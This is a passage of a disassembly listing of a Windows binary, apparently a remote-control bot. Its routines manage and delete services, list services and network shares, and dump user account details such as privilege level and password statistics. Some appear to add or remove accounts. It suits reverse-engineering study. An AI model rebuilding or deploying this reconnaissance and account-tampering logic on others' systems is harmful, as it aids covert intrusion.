sub_419640+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4196BA cmp eax, 3 jz short loc_4196AB jle short loc_4196CD cmp eax, 6 jg short loc_4196CD lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4E4168 ; ControlService jmp short loc_4196C1 ; --------------------------------------------------------------------------- loc_4196AB: ; CODE XREF: sub_419640+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4E4104 ; StartServiceA jmp short loc_4196C1 ; --------------------------------------------------------------------------- loc_4196BA: ; CODE XREF: sub_419640+4Dj push esi call dword_4E416C ; DeleteService loc_4196C1: ; CODE XREF: sub_419640+69j ; sub_419640+78j test eax, eax jnz short loc_4196CD call ds:dword_4F6394 ; RtlGetLastWin32Error mov ebx, eax loc_4196CD: ; CODE XREF: sub_419640+54j ; sub_419640+59j ... push esi call dword_4E4118 ; CloseServiceHandle loc_4196D4: ; CODE XREF: sub_419640+45j push edi call dword_4E4118 ; CloseServiceHandle pop esi loc_4196DC: ; CODE XREF: sub_419640+25j mov eax, ebx pop edi pop ebx leave retn sub_419640 endp ; =============== S U B R O U T I N E ======================================= sub_4196E2 proc near ; CODE XREF: sub_4195C6+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_419797 jz loc_419790 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_41975A jz short loc_419750 mov ecx, eax sub ecx, 3 jz short loc_419746 dec ecx dec ecx jz short loc_41973C dec ecx jz short loc_419732 sub ecx, 51h jz short loc_419728 sub ecx, 24h jnz loc_41980D ; default ; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4197FF ; --------------------------------------------------------------------------- loc_419728: ; CODE XREF: sub_4196E2+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4197FF ; --------------------------------------------------------------------------- loc_419732: ; CODE XREF: sub_4196E2+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4197FF ; --------------------------------------------------------------------------- loc_41973C: ; CODE XREF: sub_4196E2+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4197FF ; --------------------------------------------------------------------------- loc_419746: ; CODE XREF: sub_4196E2+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4197FF ; --------------------------------------------------------------------------- loc_419750: ; CODE XREF: sub_4196E2+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4197FF ; --------------------------------------------------------------------------- loc_41975A: ; CODE XREF: sub_4196E2+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_419789 dec ecx jz short loc_419782 dec ecx jz short loc_41977B dec ecx jnz loc_41980D ; default ; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4197FF ; --------------------------------------------------------------------------- loc_41977B: ; CODE XREF: sub_4196E2+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_419782: ; CODE XREF: sub_4196E2+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_419789: ; CODE XREF: sub_4196E2+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_419790: ; CODE XREF: sub_4196E2+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_419797: ; CODE XREF: sub_4196E2+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_41980D ; default ; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16 jz short loc_4197FA lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_41980D ; default ; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_41984E[ecx] jmp ds:off_419826[ecx*4] ; switch jump loc_4197BB: ; DATA XREF: .text:off_419826o push offset aTheSpecifiedDa ; jumptable 004197B4 case 7 jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_4197C2: ; CODE XREF: sub_4196E2+D2j ; DATA XREF: .text:off_419826o push offset aTheServiceDepe ; jumptable 004197B4 case 17 jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_4197C9: ; CODE XREF: sub_4196E2+D2j ; DATA XREF: .text:off_419826o push offset aTheServiceDe_0 ; jumptable 004197B4 case 10 jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_4197D0: ; CODE XREF: sub_4196E2+D2j ; DATA XREF: .text:off_419826o push offset aTheServiceHasB ; jumptable 004197B4 case 0 jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_4197D7: ; CODE XREF: sub_4196E2+D2j ; DATA XREF: .text:off_419826o push offset aTheSpecified_0 ; jumptable 004197B4 case 2 jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_4197DE: ; CODE XREF: sub_4196E2+D2j ; DATA XREF: .text:off_419826o push offset aTheServiceCoul ; jumptable 004197B4 case 11 jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_4197E5: ; CODE XREF: sub_4196E2+D2j ; DATA XREF: .text:off_419826o push offset aTheServiceHa_0 ; jumptable 004197B4 case 14 jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_4197EC: ; CODE XREF: sub_4196E2+D2j ; DATA XREF: .text:off_419826o push offset aTheRequested_1 ; jumptable 004197B4 case 3 jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_4197F3: ; CODE XREF: sub_4196E2+D2j ; DATA XREF: .text:off_419826o push offset aTheServiceHasN ; jumptable 004197B4 case 4 jmp short loc_4197FF ; --------------------------------------------------------------------------- loc_4197FA: ; CODE XREF: sub_4196E2+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4197FF: ; CODE XREF: sub_4196E2+41j ; sub_4196E2+4Bj ... push offset byte_4F3CC4 ; Dest call _sprintf pop ecx pop ecx jmp short loc_419820 ; --------------------------------------------------------------------------- loc_41980D: ; CODE XREF: sub_4196E2+36j ; sub_4196E2+89j ... push eax ; default ; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset byte_4F3CC4 ; Dest call _sprintf add esp, 0Ch loc_419820: ; CODE XREF: sub_4196E2+129j mov eax, offset byte_4F3CC4 retn sub_4196E2 endp ; --------------------------------------------------------------------------- off_419826 dd offset loc_4197D0 ; DATA XREF: sub_4196E2+D2r dd offset loc_4197D7 ; jump table for switch statement dd offset loc_4197EC dd offset loc_4197F3 dd offset loc_4197BB dd offset loc_4197C9 dd offset loc_4197DE dd offset loc_4197E5 dd offset loc_4197C2 dd offset loc_41980D byte_41984E db 0, 9, 1, 2 ; DATA XREF: sub_4196E2+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419860(int,char *Str,int) sub_419860 proc near ; CODE XREF: sub_401CC7+465Cp var_38C = dword ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4E4214 ; OpenSCManagerA push ebx ; int mov [ebp+var_C], eax push [ebp+arg_8] ; int push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_419898: ; CODE XREF: sub_419860+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4E41E0 ; EnumServicesStatusA test eax, eax jnz short loc_4198D2 call ds:dword_4F6394 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_419986 loc_4198D2: ; CODE XREF: sub_419860+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_41997D lea esi, [ebp+var_188] loc_4198E3: ; CODE XREF: sub_419860+117j mov eax, [esi+8] dec eax jz short loc_41992C dec eax jz short loc_419925 dec eax jz short loc_41991E dec eax jz short loc_419917 dec eax jz short loc_419910 dec eax jz short loc_419909 dec eax jz short loc_419902 push offset aUnknown_0 ; " Unknown" jmp short loc_419931 ; --------------------------------------------------------------------------- loc_419902: ; CODE XREF: sub_419860+99j push offset aPaused ; " Paused" jmp short loc_419931 ; --------------------------------------------------------------------------- loc_419909: ; CODE XREF: sub_419860+96j push offset aPausing ; " Pausing" jmp short loc_419931 ; --------------------------------------------------------------------------- loc_419910: ; CODE XREF: sub_419860+93j push offset aContinuing ; " Continuing" jmp short loc_419931 ; --------------------------------------------------------------------------- loc_419917: ; CODE XREF: sub_419860+90j push offset aRunning ; " Running" jmp short loc_419931 ; --------------------------------------------------------------------------- loc_41991E: ; CODE XREF: sub_419860+8Dj push offset aStoping ; " Stoping" jmp short loc_419931 ; --------------------------------------------------------------------------- loc_419925: ; CODE XREF: sub_419860+8Aj push offset aStarting ; " Starting" jmp short loc_419931 ; --------------------------------------------------------------------------- loc_41992C: ; CODE XREF: sub_419860+87j push offset aStopped ; " Stopped" loc_419931: ; CODE XREF: sub_419860+A0j ; sub_419860+A7j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dest] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_2 ; "%s: %s (%s)" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+var_38C] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4198E3 loc_41997D: ; CODE XREF: sub_419860+77j cmp [ebp+var_8], ebx jnz loc_419898 loc_419986: ; CODE XREF: sub_419860+6Cj push [ebp+var_C] call dword_4E4118 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_419860 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41999D(int,char *Str,int) sub_41999D proc near ; CODE XREF: sub_401CC7+4740p ; sub_401CC7+475Ep arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Str] test edi, edi jz loc_419A37 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_4199C6 dec eax jnz short loc_419A17 push edi push 0 call sub_419B70 pop ecx pop ecx jmp short loc_419A13 ; --------------------------------------------------------------------------- loc_4199C6: ; CODE XREF: sub_41999D+18j cmp [ebp+arg_8], 0 jnz short loc_419A05 push 24h ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz short loc_419A05 push 57h pop eax loc_4199DD: ; CODE XREF: sub_41999D+78j push eax call sub_41A364 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset byte_4F3F80 push off_450EA0[eax*4] push offset asc_451528 ; "-" push esi ; Dest call _sprintf add esp, 14h jmp short loc_419A57 ; --------------------------------------------------------------------------- loc_419A05: ; CODE XREF: sub_41999D+2Dj ; sub_41999D+3Bj push [ebp+arg_8] ; int push edi ; Str push 0 ; int call sub_419AC4 add esp, 0Ch loc_419A13: ; CODE XREF: sub_41999D+27j test eax, eax jnz short loc_4199DD loc_419A17: ; CODE XREF: sub_41999D+1Bj lea eax, [esi+esi*2] push edi mov esi, offset byte_4F3F80 push off_450EA4[eax*4] push offset asc_45150C ; "-" push esi ; Dest call _sprintf add esp, 10h jmp short loc_419A57 ; --------------------------------------------------------------------------- loc_419A37: ; CODE XREF: sub_41999D+Aj mov eax, [ebp+arg_0] mov esi, offset byte_4F3F80 lea eax, [eax+eax*2] push off_450EA0[eax*4] push offset asc_451554 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_419A57: ; CODE XREF: sub_41999D+66j ; sub_41999D+98j mov eax, esi pop edi pop esi pop ebp retn sub_41999D endp ; =============== S U B R O U T I N E ======================================= sub_419A5D proc near ; CODE XREF: sub_41AD95+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_419A6A xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_419A6A: ; CODE XREF: sub_419A5D+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_4F6484 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4F4180, 1 mov ebp, eax jnz short loc_419AA7 or byte_4F4180, 1 lea eax, [ebp+1] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov dword_4F3F20, eax loc_419AA7: ; CODE XREF: sub_419A5D+32j push esi push esi push ebp push dword_4F3F20 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4F3F20 pop edi pop ebp pop ebx pop esi retn sub_419A5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419AC4(int,char *Str,int) sub_419AC4 proc near ; CODE XREF: sub_41999D+6Ep ; sub_41B0B9+184p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419B2F push [ebp+Str] mov edi, eax call sub_419B2F push 24h ; Val mov [ebp+var_20], eax push [ebp+Str] ; Str call _strchr push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419B2F add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4E4114 pop edi leave retn sub_419AC4 endp ; =============== S U B R O U T I N E ======================================= sub_419B2F proc near ; CODE XREF: sub_419AC4+Ap ; sub_419AC4+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419B3C pop ebp retn ; --------------------------------------------------------------------------- loc_419B3C: ; CODE XREF: sub_419B2F+9j push ebx push esi mov esi, ds:dword_4F6488 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419B2F endp ; =============== S U B R O U T I N E ======================================= sub_419B70 proc near ; CODE XREF: sub_41999D+20p ; sub_41AD95+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419B2F push [esp+8+arg_4] mov esi, eax call sub_419B2F pop ecx pop ecx push 0 push eax push esi call dword_4E40EC pop esi retn sub_419B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419B93(int,char *Str,int,int) sub_419B93 proc near ; CODE XREF: sub_401CC7+477Ep Dest = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419B2F xor esi, esi mov [ebp+var_C], eax push esi ; int mov [ebp+arg_C], esi push [ebp+arg_8] ; int mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 18h loc_419BCC: ; CODE XREF: sub_419B93+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4E4164 mov ebx, eax cmp ebx, esi jz short loc_419C2F cmp ebx, 0EAh jz short loc_419C2F push ebx push ebx call sub_41A364 pop ecx push eax lea eax, [ebp+Dest] push offset asc_4515D0 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 24h jmp short loc_419C9C ; --------------------------------------------------------------------------- loc_419C2F: ; CODE XREF: sub_419B93+5Dj ; sub_419B93+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_419C93 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419C3D: ; CODE XREF: sub_419B93+FCj push dword ptr [esi+10h] call dword_4E4108 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_419C54 mov eax, offset aNo ; "No" loc_419C54: ; CODE XREF: sub_419B93+BAj push eax lea eax, [ebp+Dest] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419C3D xor esi, esi loc_419C93: ; CODE XREF: sub_419B93+A2j push [ebp+var_4] call dword_4E42B0 loc_419C9C: ; CODE XREF: sub_419B93+9Aj cmp ebx, 0EAh jz loc_419BCC xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_419B93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CB4 proc near ; CODE XREF: sub_401CC7+47D2p ; sub_401CC7+47FFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Str = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_419D59 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_419CF6 dec eax jz short loc_419CEB dec eax jnz short loc_419D11 push [ebp+arg_14] ; int push [ebp+Str] ; Str push [ebp+arg_C] ; int push ebx ; int push edi ; int call sub_419DFB add esp, 14h jmp short loc_419D0D ; --------------------------------------------------------------------------- loc_419CEB: ; CODE XREF: sub_419CB4+1Dj push ebx push edi call sub_419DDA pop ecx pop ecx jmp short loc_419D0D ; --------------------------------------------------------------------------- loc_419CF6: ; CODE XREF: sub_419CB4+1Aj cmp [ebp+arg_8], edi jz short loc_419D0A push [ebp+arg_8] push ebx push edi call sub_419D80 add esp, 0Ch jmp short loc_419D0D ; --------------------------------------------------------------------------- loc_419D0A: ; CODE XREF: sub_419CB4+45j push 57h pop eax loc_419D0D: ; CODE XREF: sub_419CB4+35j ; sub_419CB4+40j ... cmp eax, edi jnz short loc_419D31 loc_419D11: ; CODE XREF: sub_419CB4+20j lea eax, [esi+esi*2] push ebx mov esi, offset byte_4F4184 push off_450EA4[eax*4] push offset asc_4515F8 ; "-" push esi ; Dest call _sprintf add esp, 10h jmp short loc_419D79 ; --------------------------------------------------------------------------- loc_419D31: ; CODE XREF: sub_419CB4+5Bj push eax call sub_41A364 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset byte_4F4184 push off_450EA0[eax*4] push offset asc_451618 ; "-" push esi ; Dest call _sprintf add esp, 14h jmp short loc_419D79 ; --------------------------------------------------------------------------- loc_419D59: ; CODE XREF: sub_419CB4+Dj mov eax, [ebp+arg_0] mov esi, offset byte_4F4184 lea eax, [eax+eax*2] push off_450EA0[eax*4] push offset asc_451648 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_419D79: ; CODE XREF: sub_419CB4+7Bj ; sub_419CB4+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_419CB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D80 proc near ; CODE XREF: sub_419CB4+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419B2F push [ebp+arg_4] mov edi, eax call sub_419B2F push [ebp+arg_8] mov [ebp+var_24], eax call sub_419B2F add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4E40F8 pop edi leave retn sub_419D80 endp ; =============== S U B R O U T I N E ======================================= sub_419DDA proc near ; CODE XREF: sub_419CB4+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419B2F push [esp+8+arg_4] mov esi, eax call sub_419B2F pop ecx pop ecx push eax push esi call dword_4E40E8 pop esi retn sub_419DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419DFB(int,int,int,char *Str,int) sub_419DFB proc near ; CODE XREF: sub_419CB4+2Dp Dest = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419B2F push [ebp+arg_4] mov esi, eax call sub_419B2F pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4E4278 test eax, eax mov [ebp+arg_0], eax jnz loc_41A1A3 mov eax, [ebp+var_4] test eax, eax jz loc_41A1DE push ebx push edi push dword ptr [eax] lea eax, [ebp+Dest] push offset aAccountS ; "Account: %S" push eax ; Dest call _sprintf mov esi, [ebp+arg_10] mov edi, [ebp+Str] mov ebx, [ebp+arg_8] push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+Dest] push offset aFullNameS ; "Full Name: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+Dest] push offset aUserCommentS ; "User Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+Dest] push offset aCommentS ; "Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419F1A dec eax jz short loc_419F13 dec eax jz short loc_419F0C mov eax, offset aUnknown_1 ; "Unknown" jmp short loc_419F1F ; --------------------------------------------------------------------------- loc_419F0C: ; CODE XREF: sub_419DFB+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419F1F ; --------------------------------------------------------------------------- loc_419F13: ; CODE XREF: sub_419DFB+105j mov eax, offset aUser_3 ; "User" jmp short loc_419F1F ; --------------------------------------------------------------------------- loc_419F1A: ; CODE XREF: sub_419DFB+102j mov eax, offset aGuest ; "Guest" loc_419F1F: ; CODE XREF: sub_419DFB+10Fj ; sub_419DFB+116j ... push eax lea eax, [ebp+Dest] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+Dest] push offset aAuthFlagsD ; "Auth Flags: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+Dest] push offset aHomeDirectoryS ; "Home Directory: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+Dest] push offset aParametersS ; "Parameters: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+Dest] push offset aPasswordAgeD ; "Password Age: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+Dest] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+Dest] push offset aNumberOfLogins ; "Number of Logins: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+Dest] push offset aLastLogonD ; "Last Logon: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+Dest] push offset aLastLogoffD ; "Last Logoff: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+Dest] push offset aLogonServerS ; "Logon Server: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+Dest] push offset aWorkstationsS ; "Workstations: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+Dest] push offset aCountryCodeD ; "Country Code: %d" push eax ; Dest call _sprintf push 1 ; int push esi ; int lea eax, [ebp+Dest] push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+Dest] push offset aUserSLanguageD ; "User's Language: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+Dest] push offset aMax_StorageD ; "Max. Storage: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+Dest] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409D6C add esp, 20h pop edi pop ebx jmp short loc_41A1CF ; --------------------------------------------------------------------------- loc_41A1A3: ; CODE XREF: sub_419DFB+35j push eax lea eax, [ebp+Dest] push offset asc_4517F8 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_10] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_8] ; int call sub_409D6C add esp, 20h loc_41A1CF: ; CODE XREF: sub_419DFB+3A6j cmp [ebp+var_4], 0 jz short loc_41A1DE push [ebp+var_4] call dword_4E42B0 loc_41A1DE: ; CODE XREF: sub_419DFB+40j ; sub_419DFB+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419DFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A1E4(int,char *Str,int,int) sub_41A1E4 proc near ; CODE XREF: sub_401CC7+4836p Dest = byte ptr -218h var_18 = dword ptr -18h 